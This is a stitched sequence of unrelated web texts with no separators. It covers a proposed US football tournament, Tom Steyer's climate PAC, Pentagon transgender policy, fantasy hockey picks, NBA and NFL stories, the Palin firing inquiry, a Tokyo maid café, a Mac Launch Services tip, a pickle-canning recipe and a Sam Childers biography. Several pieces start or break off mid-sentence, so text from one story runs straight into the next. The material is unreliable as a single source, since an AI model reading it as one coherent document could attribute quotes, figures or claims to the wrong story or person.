A major obstacle to its realisation could have been Fifa. But football's world governing body told BBC Sport that it would not stand in its way as long as it followed the usual rules and regulations of international football.
Such backing is expected with the organisation trying to reinvigorate international football, with a possible global league touted.
Michael Lewis, who has been writing about football in the USA for almost 40 years, is cynical about the reasons for US Soccer touting this tournament.
"This seems like a money-making idea," he told BBC Sport. "They would think about it as a positive revenue stream."
So which teams might play in the tournament?
Netherlands have failed to qualify for the past two major tournaments having also missed out on Euro 2016
There were some heavyweights of world football who failed to make Russia 2018.
Both four-time champions Italy and three-time runners-up Netherlands would undoubtedly top the billing at a USA tournament.
Then there is Chile, ranked ninth in the world, boasting the likes of Arsenal striker Alexis Sanchez.
Three African giants who were at Brazil 2014 could also feature. They include Ghana, whose squad includes the likes of Atletico Madrid midfielder Thomas Partey and West Ham midfielder Andre Ayew, five-time Cup of Nations winners Cameroon and also Ivory Coast.
Meanwhile, Gareth Bale's Wales, Czech Republic, Scotland, Austria, Bosnia-Herzegovina, Turkey, Republic of Ireland, Northern Ireland and 2004 European champions Greece could also be asked to compete.
Fancy a flavour of the FA Cup? Sign up for the 2017 FA People's Cup and take your chance to win tickets to the FA Cup final and achieve national five-a-side glory.
With huge support for many of these teams in the United States, it could be worth participating. However, before major tournaments there are often friendlies between those who have missed out and those who have made it. How would a USA tournament fit in with the schedule?
Also, would players want to play in a competition of the stature of a 'Europa League' to Fifa's World Cup?
"I'm pretty sure the Italy players would rather go on holiday," added Lewis.
"I would also expect teams to field inexperienced players - that certainly would not help with the development of the US national team."
How much of a boost will this be for football in the US?
Could the proposed tournament lead to big viewing figures of Fox Sports' World Cup coverage?
With a joint bid to host the 2026 World Cup being mulled over by Fifa, this would be a great opportunity for the USA to present its case.
Its premier domestic competition - MLS - is growing both in size and popularity, which is running in correlation with the growth of the country's Hispanic population who represent 35% of the league's fan base.
There are also the financial benefits, following the blow of missing out on World Cup qualification.
According to Forbes, the USSF will miss out on the $12.5m (£9.49m) paid by Fifa for reaching Russia 2018. And then there is Fox Sports, who might have felt a little punch-drunk after spending $425m (£322.76m) acquiring World Cup USA TV rights, which included next year's tournament. Business Insider said USA's failure was a "disaster" for the media organisation.
Could this proposed tournament build interest in the US before the main event and boost viewing figures despite the absence of the home team?
Lewis, who has written about USA at every World Cup since 1990, thinks not.
"I don't think it would make a difference to the size of the World Cup TV audience if we have this tournament or not," he added.
"There are so many supporters of other different nations in the country that I expect the figures to be big.
"What US Soccer need to do first is find a new coach."Hedge-fund billionaire Tom Steyer says he used to spend time around the dining table with his four children, debating the issues of the century.
"We'd sit there and say, 100 years in the future when you look back, what are going to be the issues where you're going to say, like, wow, you were on the wrong side of that issue. That's pitiful," Steyer said in an interview.
Steyer founded a center dedicated to sustainable energy at Stanford University but decided that wasn't enough. "It didn't seem as if we were being effective politically on this topic. There was no organized political effort to change the way people thought. And so I somehow managed to get all wound up on the topic and felt like I had no choice but to do this," he said.
Steyer in 2013 founded NextGen Climate Action, a political action committee that cut its teeth on the Virginia gubernatorial election. Now, Steyer has pledged $50 million of his own money and set a goal to raise another $50 million to elevate climate issues in the 2014 elections, including the U.S. Senate race in Iowa.
Steyer won't say how much he intends to spend in Iowa, and he doesn't know how much of the remaining $50 million he'll actually raise. Politico reported last week that fundraising had been slow.
Nevertheless, NextGen last week launched a field operation in Iowa, aimed at identifying and turning out voters who are concerned about global climate change. It will have offices around the state and focus particularly on college campuses and voters who don't usually participate in mid-term elections.
Steyer says there's a "gigantic difference" between Republican Joni Ernst and Democrat Bruce Braley on issues related to climate change.
Ernst has said she hasn't seen proof climate change is "entirely man-made," and the government's role in addressing it should be minimal. She wants to get rid of the Environmental Protection Agency to save money and put states in charge of environmental regulation. Braley advocates for action to address climate change. He voted in 2009 for the American Clean Energy and Security Act, which established cap and trade to limit greenhouse gas emissions.
NextGen's effort runs counter to the much larger, $300 million national campaign by Americans for Prosperity, a conservative group backed by Charles and David Koch. The Iowa chapter of AFP announced earlier this month that it is launching a field operation in Iowa in support of candidates like Ernst.
NEWSLETTERS Get the Register Opinion newsletter delivered to your inbox We're sorry, but something went wrong A sneak preview of the newest editorials, columns and opinions from The Des Moines Register. Please try again soon, or contact Customer Service at 1-877-424-0225. Delivery: Mon-Sun Invalid email address Thank you! You're almost signed up for Register Opinion Keep an eye out for an email to confirm your newsletter registration. More newsletters
"AFP is really a powerful force in American politics," Steyer said. "They're definitely Goliath and we're definitely David."
I've had reservations about turning the environment into another political wedge issue. Polls show young Americans, across party lines, care more about the environment than do their elders. I'd hate to see that tender sprig of potential change crushed by the rancor, cynicism and inaction of big-money political activism before it can take root.
Steyer disagrees, saying the pathway for social action in this country is our democracy. He dismisses doubts that Congress, which can't even get beyond stopgap measures to pay for roads and bridges, can be spurred to action on climate change. He |
not used the title Duke of Cornwall he would have been liable to tax in the normal way. Isn't it astounding he chose not to do that in this current climate? He could have opted into tax, but he opted out."
This month the duchy defended the prince's tax arrangements after a Channel 4 Dispatches investigation. "The Prince of Wales chooses to use his income from the duchy, rather than public money, to cover the great majority of the cost of the public duties of both himself and the Duchess of Cornwall, as well as the Duke and Duchess of Cambridge and Prince Harry," it said.
"The prince pays income tax voluntarily on the surplus of the Duchy of Cornwall at the highest rate, which was 50% in 2012-13, resulting in a total of £4.4m (including an element of VAT)."The Pentagon has affirmed it intends to make a determination on the transgender military ban this spring after the conclusion this month of an internal six-month review.
Matthew Allen, a Pentagon spokesperson, said Defense Secretary Ashton Carter will make a decision at that time in response to a Washington Blade inquiry this week for an update on the review.
“The transgender working group appointed by the secretary of defense will conclude its deliberations by the end of January and present its findings and recommendations directly to the secretary soon thereafter,” Allen said. “The secretary will take whatever time he needs to analyze, evaluate, and discuss the Working Group’s findings with his immediate staff and the senior leadership of the department. We do, however, anticipate a final decision from the secretary sometime in the spring.”
In July, Carter announced the Pentagon would undertake a review of transgender military service, which is currently banned as a result of medical regulation. At the time, Carter said the review would be conducted under the presumption the policy would be changed. In an attempt to limit transgender discharges, the secretary also directed that all separations of troops for gender identity would be handled by a senior civilian official.
According to the Pentagon, the working group’s recommendations will address accessions, retention, transition and medical care for transgender service members and potential applicants to the armed forces.
Although the Pentagon is set to complete its report by the end of the January, Allen indicated no part of the report will be officially made public until the final policy determination is made.
“Materials from the working group will be released only after the secretary makes a final decision and has determined what is appropriate for public release,” Allen said.
Media reports last year indicated the Pentagon was set to lift the trans ban on May 27, but Allen disavowed that was the target date, even with the expectation of a spring decision.
“Any end to the current prohibition on accessing transgender persons, or their open service in the military services, will be informed by the working group’s recommendations and final decisions made by the secretary of defense,” Allen said.
Aaron Belkin, director of the Palm Center, said the only determination Carter could make based on available data is lifting the ban on transgender service.
“If the new DOD policy is based on the successful experiences of our allies who allow transgender personnel to serve, and on the scientific consensus of the the American Medical Association and retired Surgeons General that there is no medically valid reason to exclude transgender individuals from military service, then I believe that full repeal will take place and implementation will be successful,” he said.Happy New Year! May the new year bring you much fantasy and real life (but let’s face it, fantasy hockey is real life) success!
NHL Fantasy Up, Down, Left, Right, Start is not only a nod to the old Nintendo cheat codes, but also a (hopefully) helpful post to help you make some roster decisions with your fantasy hockey team(s). It will have information for both daily players and season-long players.
As always, based on roster sizes, number of teams, scoring categories, whether your league is a redraft, keeper or daily league, and various other factors, you should ultimately make your own call on these suggestions. These are simply here to make some daily decisions easier, and help you keep an eye on guys that might be on other owner’s radar.
Only players with a game today will be included in each post…helpful for anyone looking to get an extra body into your lineup or for daily players (daily players can click here for my plays updated throughout the day).
There will also be a notes section at the bottom of this post with any notable fantasy news for tonight’s games updated throughout the day.
As always, feel free to ask me any fantasy related questions you might have by leaving a comment, or reaching out to me on Twitter.
Today’s NHL Games:
CHI @ NYI CAR @ WAS NSH @ BOS WPG @ OTT LAK @ STL BUF @ MIN MTL @ DAL CBJ @ PHX PHI @ COL EDM @ SJS
UP
A player that is owned in around 1/3rd or less of public online leagues, but should be on your radar. Keep an eye on these guys going forward. Not necessarily a daily play yet, but don’t be afraid to scoop him up if he has a few more good games.
Craig Smith – C/RW – NSH – Owned: 8% Yahoo!; 23% ESPN – 20% increase.
It’s hard to recommend any Predators player as a guy you should pick up, but Smith is certainly someone that should be on your radar if you need an injury replacement or a solid bench guy. Smith is in his third full season in the NHL and is on his way to a career year. He already has 11 goals and 23 points in 37 games, which easily puts him on pace to surpass his 14 goals and 36 points in 72 games in his ’11-’12 rookie season. With 98 SOG in his 37 games, he’s getting plenty of pucks on net, so the points should be there going forward. He doesn’t do much of anything else for those leagues that count extra categories, but as long as the points are there, he could be a solid contributor on days where your better players are off.
TONIGHT’S MATCHUP : at BOS. Career vs opponent: 2 goals, 2 points in 2 games.
DOWN
A player that is likely owned in most leagues, but is likely to fall. Players here are likely to fall into the “sell-high” category. Could still be a daily play, but proceed with caution if you have better options.
Sam Gagner – C/RW – EDM – Owned: 35% Yahoo!; 32% ESPN.
Gagner’s ownership numbers continue to drop, and a look at his numbers tell you why. Gagner was a consistent producer up until this season, giving you similar numbers every year. You could pretty much pencil him in for 15 goals and 45 points. His numbers last season – 38 points in 48 games – gave you hope that this would be a true breakout season. It has been the opposite, however, with Gagner only putting up 13 points in 29 games so far, with an ugly minus-17 rating. His numbers elsewhere don’t give you much of a reason to be starting him either. Larger leagues will still want to hold on to him a little longer and hope for a turnaround, but there’s no reason to start him right now.
TONIGHT’S MATCHUP : at SJS. Career vs opponent: 4 goals, 16 points in 23 games.
LEFT
A player who’s ownership has likely risen in the last few days, but should ideally be left for someone else. Decent short-term pickups if needed for tonight’s games, but don’t expect much over a full season.
Braydon Coburn – D – PHI – Owned: 2% Yahoo!, 11% ESPN – 10% increase.
Coburn is the latest d-man to see his ownership numbers rise due to a recent hot streak. In his last eight games, he has two goals and five points. That’s not bad for a defenseman, but when you consider that those numbers bring his season totals up to four goals and eight points in 40 games, it’s not all that impressive. When you combine that with his past history (he has just one 30+ point season) and you look at some other numbers – no power play points, 42 PIM, 54 hits, 54 blocked shots – nothing stands out that should make you waste a FA pick on a guy that will likely go on a long point-less streak soon after you grab him.
TONIGHT’S MATCHUP : at COL. Career vs opponent: 0 goals, 3 points in 6 games.
RIGHT
A player who’s ownership has likely risen in the last few days, and if he’s still available, you’d do well to pick him up right now and start him tonight!
Brent Burns – RW – SJS – Owned: 89% Yahoo!; 99% ESPN – 10% increase.
This is a continuing theme in this spot with yet another player that was dropped because of injury and/or a long slump, and Burns is a player that had both. When he came back from injury, Burns put up six points in four games, which saw his ownership numbers creep up again. Then he went on a stretch that saw him put up just one goal and two points in 11 games. Of course, playing on a top line in San Jose, the points are going to come, and Burns now has three goals and seven points in his last four games. Even with the time he has missed, and the long slump, Burns still has 23 points in 27 games, and an impressive 93 SOG in those 27 games. He should easily approach and likely surpass his career highs of 17 goals and 46 points.
TONIGHT’S MATCHUP : vs EDM. Career vs opponent: 7 goals, 15 points in 42 games.
START
This will be a list of confirmed starting goalies for today’s games, with my ranking for each.
Check back throughout the day for an updated list of confirmed starters and updated rankings.
Rankings are based on a number of factors including strength of opponent, recent play, likelihood to put up good numbers (35 saves with 3 goals against is sometimes better than 17 saves with 1 goal against), win probability, and other factors.
Take your league scoring into consideration when choosing between two closely rated goalies.
Confirmed starters are in bold.
Philipp Grubauer vs CAR Ryan Miller at MIN Niklas Svedberg vs NSH Brian Elliott vs LAK Semyon Varlamov vs PHI Al Montoya at OTT Mike Smith vs CBJ Antti Niemi vs EDM Niklas Backstrom vs BUF Corey Crawford at NYI Craig Anderson vs WPG Martin Jones at STL Anton Khudobin at WAS Kari Lehtonen vs MTL Carey Price at DAL Steve Mason at COL Curtis McElhinney at PHX Evgeni Nabokov vs CHI Devan Dubnyk at SJS Marek Mazanec at BOS
NOTES
Updated throughout the day with any significant fantasy news.
– Nathan Horton will be in the Blue Jackets’ lineup tonight.NEW YORK (AP) — Adrian Peterson empathizes with former players who are suing the NFL over painkillers and other medication they were given during their playing days.
More than 600 former players contend team physicians and trainers across the NFL routinely — and often illegally — dispensed powerful narcotics and other controlled substances on game days to mask pain. The players claim they have suffered an assortment of illnesses since, ranging from addiction to chronic muscle and bone ailments to permanent nerve and organ damage.
Peterson, who made a sensationally quick return from torn knee ligaments to win the 2012 NFL MVP award, says he’s made sure he was completely informed about what he has been given throughout his career with the Minnesota Vikings, and in college at Oklahoma.
"It’s a very unfortunate situation," Peterson said. "Anything I’ve taken to subside pain I knew what it was, and it was not ever forced on me. The side effects? I don’t know if that was ever explained to them back then.
"I hope things work out in their favor. The NFL now and then, maybe this will give us insight into what happened back then. You make your own decisions, but if (repercussions) are not laid out to you …"
Peterson heads into his eighth pro season as one of the most respected athletes in the NFL, if not all of sports. His return from a ravaged ACL in his left knee the previous December to nearly setting a league rushing record is considered one of the great comebacks by an athlete. He still gets compliments from his peers on his ability to rehab so well, so fast, then return and dominate.
Peterson also had offseason hernia surgery this year.
"It’s humbling to be able to have someone express to you on your rehab how it just inspired them to have a totally different mindset to overcome injury or obstacles in their life," said Peterson, 29. "It makes me feel good from a spiritual context, because life is so much more than football.
"It is inspirational to me to stand up to a challenge."
Getting selected high in the draft has been something of a challenge for running backs in recent years; none were selected in the first round in 2013 or `14. Peterson doesn’t see that as a trend, however.
"It could be a watered-down running back position, but in the future I think there will be great guys that will open your eyes and force you to take them in the first round," he said. "In the top 10 or top five picks. In the past two or three years we haven’t really had a Marshawn Lynch or a Frank Gore coming out.
"I’m not buying that the NFL is making a transition to a passing league. That will slow down."We’ve reached the Sweet 16 in the college basketball team nickname bracket. We’ll open the voting today with the left side of the bracket, which stayed mostly to form over the first two rounds. The top three seeds in each region are still alive, as are both five seeds, which took out the four seeds last round in a pair of mild upsets. (Click here for a full-size version of the updated bracket.)
Here were the results from the Friendly & Funny Region:
Article continues below... Matchup Winner Vote % 1 Fighting Camels vs. 8 Chanticleers Fighting Camels 61 5 Anteaters vs. 4 Jackrabbits Anteaters 58 3 Fightin’ Blue Hens vs. 6 Roadrunners Fightin’ Blue Hens 59 7 Ospreys vs. 2 Kangaroos Kangaroos 63
And from the Strange & Quirky Region:
Matchup Winner Vote % 1 Shockers vs. 9 Tar Heels Shockers 73 5 Blue Hose vs. 4 Billikens Blue Hose 80 3 Gamecocks vs. 6 Zips Gamecocks 53 7 Seawolves vs. 2 Ragin’ Cajuns Ragin’ Cajuns 64
On to the next. Voting is now open for the Sweet 16 on the left side of the bracket and will go through Wednesday. Voting for the other half of the Sweet 16 will open Tuesday. Elite Eight voting will open Wednesday and Thursday.
No. 1 Fighting Camels vs. No. 5 Anteaters
Our tournament’s No. 1 overall seed is the Fighting Camels, used exclusively by Campbell. The name’s origin is somewhat mysterious, as there aren’t a lot of camel species native to North Carolina, but who cares? It’s perfect. Sometimes the addition of “Fighting” before a team name feels forced, but it’s a critical distinction here. The Camels are looking mighty tough after waxing the Longhorns and Chanticleers.
UC Irvine is the Anteaters because some water polo bros in the ’60s thought it sounded cool. Fifty-some years later, vindication comes in the form of a No. 5 seed in this bracket. Fresh off a win over the No. 4 seed Jackrabbits, can they swing another upset?
No. 3 Fightin’ Blue Hens vs. No. 2 Kangaroos
Many will shout that Delaware got a poor seed here, and now is the time to prove it. This name is beautiful. Hens by itself would be a strong contender. The gratuitous color designation makes them that much more intriguing. To top it off, they’re fightin’. If you’re putting a “g” instead of an apostrophe on the end of that, you’re doing it wrong. If it’s still not cool enough for you, I should tell you that the name’s origins go back to Revolutionary War times.
If this contest involved Australia’s universities, perhaps Kangaroos would be the new Wildcats. Here in America, it’s one-of-a-kind. How did a school in Kansas City end up naming itself after the most iconic animal Down Under? It’s a complicated story.
No. 1 Shockers vs. No. 5 Blue Hose
Thanks to Wichita State’s recent runs of success, the luster of the Shockers nickname may have worn off for some of you, but it’s still a strong contender for the title. The name refers to the practice of harvesting — or shocking — wheat, a common pastime in the plains of Kansas and something old WSU players used to do for money. After an easy win over the Tar Heels, the Shockers now face their toughest test of the tournament.
Presbyterian will be a true test of how weird you all are. Can a pair of socks make a run in this tourney? Kudos to the Blue Hose for choosing “Hose” instead of “Sox” to mix things up a little. The school insists that this also honors “fierce Scottish warriors.” Come on, just embrace the socks.
No. 3 Gamecocks vs. No. 2 Ragin’ Cajuns
You don’t need a Google search to know what a gamecock is, still it’s impressive that two schools — South Carolina, of course, and the lesser-known Jacksonville State — opted for a prize-fighting rooster for their team nickname. Both versions made this year’s NCAA tournament, with South Carolina reaching the Sweet 16 there too with a memorable upset over Duke.
“A Ragin’ Cajun is not a person or an animal, but a feeling that describes our unique way of life,” says the University of Louisiana at Lafayette’s website. Unique indeed, and a strong contender to come out of this region.OAKLAND, Calif. (AP) — Stephen Curry knows that the record-setting 73 wins, awards and memorable moments that highlighted Golden State’s special season will only be footnotes if the Warriors can’t quickly find their missing game.
The 3-pointers have stopped falling, the swagger has gone missing and the defense has had no answers for LeBron James. After two straight losses that have forced a winner-take-all Game 7 in the NBA Finals against the Cleveland Cavaliers on Sunday night, the Warriors are one game away from either capping the most successful season in NBA history or the greatest Finals collapse.
"You just don’t see kind of that rhythm and that flow and just the energy that we play with the offensive end," Curry said Saturday. "Obviously, we lost Game 5 and 6, not so much because we missed open shots, but also because of our defensive breakdowns. So it’s kind of you can look at and nitpick both sides. But at the end of the day, I don’t know why we haven’t been ourselves. … The only thing that matters is we have one game left to figure it out."
The Warriors couldn’t do it in Game 5 at home last Monday when do-everything forward Draymond Green was sidelined by a suspension. A second chance in Cleveland on Thursday night also ended in a loss with rim-protecting center Andrew Bogut out after suffering a season-ending knee injury the previous game and defensive stopper Andre Iguodala dealing with a balky back that limited his effectiveness. Iguodala received treatment Saturday while the Warriors held a light practice but is planning to play Game 7, and coach Steve Kerr expects him to be improved come game time.
Golden State’s frustration boiled over with Curry’s ejection for throwing his mouthpiece at a fan after fouling out and Kerr’s $25,000 fine for criticizing officials. Even Curry’s wife, Ayesha, got into it with a Tweet accusing the NBA of rigging the Finals, prompting Curry to quip, "I might have to cut the Wi-Fi off at my house."
But it will be no joking matter if the Warriors become the first team to lose the NBA Finals after taking a 3-1 series lead, which is one historical mark these players are looking to avoid in a season full of records led by the 73 wins after a record 24-0 start.
"When you go from up 3-1 to 3-3, it’s disappointing," Kerr said. "But you get a couple of days, you kind of take stock. You think about where we are. We like our positioning. We like our chances. And we’re at home with a chance to win the championship. You can’t ask for much more than that."
But the Cavaliers come into the game with James. The player known as King James since he was a high-school megastar in Akron, Ohio, has almost single-handedly moved the Cavaliers to the brink of winning the first championship in success-starved Cleveland since the Browns won the NFL title in 1964.
James brought the Cavaliers to the verge of a title with back-to-back 41-point games to stave off elimination and force this decisive final game. He has 24 rebounds, 18 assists, seven 3-pointers, six blocks and just three turnovers in the past two games and leads the series in points, rebounds, assists, blocks and steals.
"I start to learn from my mistakes and break into the film and seeing the ways that they’re defending me, the ways they’re defending our team, ways I can be a little more efficient," James said. "I’ve gotten better as the series has gone on."
After shooting 42 percent the first two games, James has shot 55 percent the past four as he has exploited the Warriors in transition and made the mid-range jumpers Golden State has ceded him.
"He’ll continue to be aggressive," Warriors forward Harrison Barnes said. "He’s a great player, so he’s going to score. We need to take away the easy ones, a lot of them in transition, easy dunks, defensive breakdowns, not let him just get to the rim easy."
Some of those easy shots have come because of the way the Warriors have shot from long range. After setting a record with 1,077 3-pointers in the regular season, Golden State has shot just 36 percent from long range in the two potential clinchers.
Barnes has missed 10 of 11 3-pointers those games a part of a 2-of-22 shooting performance, while and Curry and fellow Splash Brother Klay Thompson have been hot and cold from distance.
Curry knows that must change Sunday if the Warriors are going to repeat as champions.
"I need to play my best game of the year if not my career because of what the stakes are," Curry said. "So that doesn’t mean scoring 50 points, though. That means controlling the tempo of the game. When I need to be aggressive, well, I need to be aggressive. But when I need to push the envelope, do it, but do it under control."Seven aides to Alaska Gov. Sarah Palin have reversed course and agreed to testify in an investigation into whether the Republican vice presidential nominee abused her powers by firing a commissioner who refused to dismiss her former brother-in-law.
There is no indication, however, that Palin or her husband will now agree to testify in the legislative inquiry, which has dogged her for the past several months and could hurt John McCain in the final weeks of the presidential race.
Palin, a first-term governor, is the focus of a legislative investigation into her firing of Public Safety Commissioner Walt Monegan a year after she, her husband and key advisers began questioning him about getting rid of a state trooper who had gone through a nasty divorce with her sister.
Monegan says he was dismissed because he wouldn't fire the governor's former brother-in-law, but Palin contends he was dismissed for insubordination. McCain operatives called Monegan a "rogue" who repeatedly tried to work outside normal channels for requesting money.
Lawmakers subpoenaed seven state employees to testify in the inquiry but they challenged those subpoenas. After a judge rejected that challenge last week, the employees decided to testify, Alaska Attorney General Talis Colberg said.
Democratic state Sen. Hollis French, who is managing the investigation, said that, following the court ruling, he again asked Palin and her husband, Todd, whether they planned to testify.
"We've had no response," French said Sunday.
Palin says the legislative inquiry has become too political and she believes that only the state's personnel board should investigate the firing. Todd Palin has agreed to speak with investigators for that panel but not for the legislative inquiry.
The governor has the authority to fire the members of the personnel board.
Alaska's Supreme Court, meanwhile, is considering whether to block the findings of the legislative inquiry. The high court scheduled arguments for Wednesday over whether the case is being manipulated to hurt Palin before Election Day on Nov. 4.
The decision by the state employees to testify will not affect that appeal, said Kevin Clarkson, a lawyer for five Republican lawmakers who brought that challenge.
The independent investigator conducting the probe plans to turn over his conclusions on the case by next Friday to the Legislative Council, the body that authorized it.Watch NOVAs This archive of NOVA programs is no longer being updated. To see newer programs, go to NOVA's new beta site. Most Recent Displaying 1-5 of 73 > Mt. St. Helens: Back From the Dead (May. 2010)
Thirty years after the massive eruption, could it happen again? Watch now (50 mins.) Mind Over Money (Apr. 2010)
Can markets be rational when humans aren't? Watch now (50 mins.) Hunting the Edge of Space: Part 2 (Apr. 2010)
How telescopes have expanded our view of the universe Watch now (50 mins.) Hunting the Edge of Space: Part 1 (Apr. 2010)
How telescopes have expanded our view of the universe Watch now (50 mins.) The Pluto Files (Mar. 2010)
Take a cross-country journey with Neil deGrasse Tyson to explore the rise and fall of America's favorite planet. Watch now (50 mins.) Displaying 1-5 of 73 >Another month, another maid café opening. Cute Room opening in Akihabara on Oct. 4 boasts a bevy of girls who offer a wide range of services from a relaxing shoulder massage to a slap in the face. Why on earth, you ask, would any self-respecting otaku pay for this, when you can get smacked in the gob free of charge while taking up skirt shots of girls on the Yamanote Line?
Despite the obvious advantage of avoiding prosecution by the transport police for perversion, there are added advantages of doing this in privacy of the maid kissa (café). First, you get to dress the girl up in a costume of your choice. Then she can act out the moe (roughly translates as character charm) of your favorite tsundere anime character. The tsundere character type is basically a pretty disagreeable figure, whether it be stroppy, conceited or just plain mean, who suddenly becomes sweet and agreeable in certain situations, revealing her inner charms.
To see a tsundere girl in action watch this video of the Little Sister maid café in Akihabara. It doesn’t contain subtitles, but here’s the gist of one of the funnier moments. When the men are at the door of the café, the girl says, “Why did you come here? Just go home. Well, if you’re going to stay standing in the way, you might as well come in.” After grumpily throwing down their napkins, she takes their order, grumbling, “That’s a pain to make.” As you see, toward the end of the video, she finds it hard to keep her tsundere character up as the hosts of the show tease her and she bursts into giggles.
While we would consider Haruhi Suzumiya from the popular anime “The Melancholy of Haruhi Suzumiya” to display tsundere character traits in her treatment of love interest Kyon, this is a highly controversial opinion, as many fans feels Haruhi is altogether too energetic to be truly tsundere.
Cute Room isn’t the first maid café to offer a slap service. Cafe and Kitchen Cos-Cha has a service where you get to play a game with the maid to decide what goes into your mixed juice drink. You then have to finish the drink in one gulp or get slapped. At Cute Room a slap will only cost ¥1,000, but that’s on top of the room and costume charge, which will set you back for ¥5,500 an hour. While that might seem a little steep, Cute Room’s individual selling point is that you can enjoy your humiliation in the privacy of your own room. After being disciplined, your tsundere sweetheart can show you her soft side by reading you a bedtime story... for an extra ¥1,000.If you're like me, you'll notice that things start to get messy on your Mac after a while if you aren't super organised. The desktop gets full of files, and your folders can easily get into a bad state; but what really tells me I need to sort things out is when my right click option for Open With gets crammed with all sorts of useless junk.
In this tutorial I'll show you a very easy way to stop your Open With list showing duplicates and apps you no longer have.
The Problem
If you tend to install and uninstall apps fairly often, like I do, you can get left with an option to Open With apps you haven't even got on your Mac anymore, or even more frustrating, multiple entries of the same app. This problem can also arise if you use virtual machines like Parallels or WMWare that can leave behind data from uninstalled apps. Does this look familiar?
Things getting out of hand
The problem here is that the Launch Services database is full of unwanted apps, and I want to rebuild it. So to do this involves using the Terminal quickly.
Note that you can use apps like Cocktail or Onyx for this, but when it can be done so simply by yourself I recommend following this method.
Step 1. Open Up Terminal
Your Terminal should look similar to this
First thing you need to do is open up Terminal, which is where your Mac processes commands that you can give it. It is located in /Applications/Utilities or just do a spotlight search for it. Don't get scared if you've never done this, it may look like a bunch of gibberish to you, but that's fine. Terminal is a very powerful tool, but if you follow what I instruct you to do, step by step, you should have no trouble.
Step 2. Enter the Code
Enter the code and press return
Now that you've got your Terminal open it's time to enter the code. Now it's simply a case of copying and pasting the code below into Terminal, and hitting the enter key.
Hopefully you have something that looks like the screenshot above. We're done with Terminal now, so you can close the app.
Step 3. Relaunch Finder
Relaunching Finder
To allow the changes made to take effect I need to relaunch Finder. Unlike normal apps you can't simply cmd-Q Finder to quit it, but fortunately the solution isn't much more challenging. While holding the alt key, right click on the Finder icon and select Relaunch.
Result
No duplicates!
What I have done in this Quick Tip is to reset the Launch Services database using just Terminal, and now when you right click on a file to open it, there should only be one version of the apps that open this kind of file. Doesn't that look better!? There's no longer the confusing multiple entries and you should be able to get on with doing what you wanted to do in the first place - opening files, without distraction. Hopefully now you can enjoy using a slightly cleaner Mac. Feel free to let me know in the comments if you have any similar tricks.1 Prep the cucumbers: Carefully rinse the cucumbers, scrubbing away any dirt that may have stuck to the ribs. Slice off 1/8-inch from the ends and discard. Slice the cucumbers in 1/4-inch thick slices, place in a large bowl.
2 Toss sliced cucumbers and onions with salt, cover with ice, and chill 4 hours. Then rinse and drain:
Add the sliced onions and pickling salt. Stir in so that the salt is well distributed among the cucumber slices. Cover with a clean tea towel (thin towel, not terry cloth). Cover with a couple of inches of ice.
Put in the refrigerator and let chill for 4 hours. Discard ice. Rinse the cucumber and onion slices thoroughly, drain. Rinse and drain again.
3 Sterilize the jars: If you are planning to store your pickles outside of the refrigerator for any length of time, you will need to sterilize your jars before canning, and heat the filled jars in a hot water bath after canning.
If you are planning to eat the pickles right away and store them the whole time in the refrigerator, you can skip the water bath step. It's still a good idea to sterilize the jars first, you can do that by running them through the dishwasher, or placing them in a 200°F oven for 10 minutes.
To sterilize the jars for canning, place empty jars on a metal rack in a large, 16-qt canning pot. (Jars must rest on a rack in the pot, not on the bottom of the pot). Fill with warm water and bring to a boil. Reduce heat to warm to keep the jars hot and ready for canning.
Remove with tongs or jar lifters one by one as you can the cucumbers.
Sterilize the lids by bringing a pot of water to a boil and pouring water over a bowl containing the lids.
4 Boil vinegar, sugar, pickling spices: In a 4 qt or 6 qt pot, place the vinegar, sugar, and all of the spices. Bring to a boil. Once the sugar has dissolved, add the sliced cucumbers and onions. Bring to a boil again. As soon as the sugar vinegar solution begins boiling again, use a slotted spoon to start packing the hot jars with the cucumbers.
5 Pack jars with cucumbers and onions, pour pickling syrup over them: First pack a jar to an inch from the rim with the vegetables. Then pour hot vinegar sugar syrup over the vegetables to a half inch from the rim.
Wipe the rim clean with a paper towel. Place a sterilized lid on the jar. Secure with a metal screw band.
6 Process in hot water bath: If you are planning to store pickles outside of refrigerator, process the filled jars in a hot water bath for at least 15 minutes. Return filled jars to the same canning pot with its already hot water. Water level needs to be at least one inch above the top of the cans.
Bring to a boil and let boil hard for 15 minutes, or 20 minutes for altitudes of 1001 to 6,000 feet. Over 6,000 feet, boil for 25 minutes. Remove jars from pot.
Let cool down to room temperature. Jars should make a popping sound as their lids seal. If a lid doesn't properly seal, do not store the jar outside of the refrigerator.Sam Childers (born 1963) is a former Outlaws member who now dedicates his life and resources to rescue children in the war zone of South Sudan. Childers and his wife Lynn founded and operate Angels of East Africa, the Children's Village Orphanage in Nimule, South Sudan, where they currently have more than 300 children in their care.
In 2013 he received the Mother Teresa Award for Social Justice.[1][2]
Early life [ edit ]
Sam Childers was born in Grand Forks, North Dakota, the son of Paul Childers, an ironworker and former Marine.[3] Childers had two older brothers, Paul Jr. and George. He also had a sister, Donna, who died of a heart problem before she was a year old. While he was growing up, his parents moved the family from place to place, following construction projects.[citation needed]
In the spring of 1974, shortly before Childers turned 12, his family moved to Grand Rapids, Minnesota. Going into seventh grade he discovered cigarettes, marijuana, alcohol and heroin, which led to many years of drug addiction, drug dealing, and alcoholism. Childers also developed a love for motorcycles and the lifestyle that led him to become a member of the Outlaws Motorcycle Club.[4]
Childers married Jaszper, a stripper, before converting to Christianity, and had a daughter (Paige) and a son.
Africa [ edit ]
Childers converted to Christianity in mid-1992, with the help of his wife, during a revival meeting at an Assembly of God church. That same evening Childers' pastor allegedly prophesied that he would go to Africa. At the end of 1998, Childers made his first trip to Sudan. In that first trip and the many that followed, he was exposed to the acts of the Lord's Resistance Army (LRA),[5] which he described as atrocious. Not long after his first trip to Sudan, Childers and his wife Lynn founded the Angels of East Africa, the Children's Village in Southern Sudan.[6] The Children’s Village currently houses and educates over 100 orphans,[7] with over a thousand children rescued since its conception.[8] The staff at the Children's Village are primarily Sudanese orphans and widows themselves.
Childers details the events of his life and his experiences in Africa in his book Another Man's War.[9] The book bears the endorsement from South Sudan President Salva Kiir Mayardit, "The Reverend Sam Childers has been a very close friend to the government of South Sudan for many years and is a trusted friend."[10]
In November 2009, Childers appeared on Debra Peppers' television show Outreach Connection in Quincy, Illinois. He revealed that he also rescues children abducted in northern Uganda.[citation needed]
In popular culture [ edit ]
In 2011, Relativity Media released a biopic about Childers entitled Machine Gun Preacher, which was based on Childers' book Another Man's War. The film was written by Jason Keller and directed by Marc Forster. The cast featured Gerard |
